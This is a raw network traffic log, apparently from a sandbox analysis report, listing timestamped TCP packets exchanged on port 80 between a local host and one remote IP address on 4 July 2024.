Jul 4, 2024 20:33:58.039289951 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.039464951 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.039475918 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.039486885 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.039515972 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.039529085 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.039633989 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.039644957 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.039655924 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.039666891 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.039676905 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.039690018 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.039702892 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.039719105 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.039927959 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.039988995 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.040210962 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.040220022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.040229082 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.040234089 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.040242910 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.040251970 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.040261030 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.040263891 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.040271044 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.040277958 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.040280104 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.040318966 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.040329933 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.040858030 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.040868044 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.040879011 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.040888071 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.040899038 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.040909052 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.040909052 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.040920019 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.040930033 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.040956020 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.040992022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.041002989 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.041042089 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.041161060 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.041172028 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.041182041 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.041193008 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.041207075 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.041208982 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.041222095 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.041248083 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.041810036 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.041856050 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.041950941 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.041960955 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.042001963 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.042016029 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.042104006 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.042114973 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.042124987 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.042135000 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.042155981 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.042185068 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.042243004 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.042253017 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.042263031 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.042273045 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.042278051 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.042289019 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.042294025 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.042299986 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.042311907 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.042345047 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.043309927 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.043369055 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.105807066 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.105932951 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.105942011 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.105952978 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.105957031 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.105964899 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.105977058 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.106003046 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.106003046 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.106041908 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.106070995 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.106081963 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.106091976 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.106102943 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.106112957 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.106112957 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.106137991 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.106157064 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.115972042 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.115983009 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.115993977 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.116051912 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.116076946 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.116089106 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.116105080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.116116047 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.116158009 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.116168022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.116178989 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.116189003 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.116209030 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.116209030 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.116209030 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.116209030 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.116209030 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.116239071 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.116240025 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.127224922 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.127270937 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.127279997 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.127298117 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.127309084 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.127316952 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.127320051 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.127330065 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.127331018 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.127345085 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.127360106 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.127388000 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.127432108 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.127461910 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.127475023 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.127502918 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.127504110 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.127516985 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.127542973 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.127554893 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.127588987 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.127599955 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.127609968 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.127628088 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.127634048 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.127640963 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.127650976 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.127660990 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.127661943 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.127691031 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.127711058 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.127835035 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.127846003 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.127856970 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.127875090 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.127887011 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.127907991 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.127908945 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.127918959 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.127929926 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.127939939 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.127948999 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.127974987 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.127978086 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.127986908 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.127990961 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.127998114 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.128031015 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.128055096 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.128181934 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.128218889 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.128226042 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.128236055 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.128261089 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.128271103 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.128282070 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.128293037 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.128304005 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.128323078 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.128335953 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.128357887 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.130979061 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.131031036 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.131113052 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.131123066 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.131131887 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.131146908 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.131155968 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.131165981 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.131227016 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.131237030 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.131273985 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.131273985 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.131273985 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.131274939 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.131274939 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.131318092 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.131328106 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.131337881 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.131361008 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.131387949 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.131441116 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.131484032 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.131485939 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.131498098 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.131511927 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.131521940 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.131527901 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.131547928 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.131563902 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.132155895 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.132167101 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.132175922 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.132213116 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.132226944 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.132301092 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.132318020 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.132328033 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.132337093 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.132348061 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.132349014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.132359028 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.132371902 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.132394075 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.132405043 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.132405043 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.132415056 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.132424116 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.132436991 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.132441044 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.132452011 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.132461071 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.132463932 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.132493019 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.132513046 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.132735014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.132745981 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.132755995 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.132778883 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.132808924 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.132812977 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.132823944 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.132833004 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.132843971 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.132858992 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.132874966 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.132877111 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.132885933 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.132894993 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.132906914 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.132908106 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.132940054 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.132956982 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.132977009 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.132992983 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.133002996 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.133013010 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.133023024 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.133027077 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.133045912 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.133076906 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.133327007 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.133337975 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.133347988 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.133378029 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.133407116 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.133416891 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.133426905 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.133436918 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.133447886 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.133455992 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.133459091 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.133470058 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.133492947 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.133519888 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.198241949 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.198251963 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.198266983 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.198276043 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.198285103 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.198295116 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.198308945 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.198349953 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.198359966 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.198396921 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.198405981 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.198415041 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.198424101 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.198427916 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.198427916 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.198427916 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.198427916 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.198427916 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.198458910 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.198470116 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.198498011 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.198537111 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.198542118 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.198546886 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.198554993 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.198585987 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.198601961 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.209815979 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.209851027 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.209861040 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.209929943 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.209940910 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.209950924 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.209960938 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.209971905 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.210006952 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.210052013 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.220976114 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.221009970 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.221018076 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.221055984 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.221091032 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.221101046 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.221108913 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.221117973 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.221127987 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.221137047 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.221194983 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.221204042 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.221213102 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.221220016 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.221220016 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.221220016 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.221220016 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.221244097 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.221251011 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.221285105 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.221301079 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.221316099 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.221326113 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.221328020 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.221345901 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.221369982 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.221398115 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.221407890 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.221417904 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.221426010 CEST	80	49730	85.28.47.30	192.168.2.4
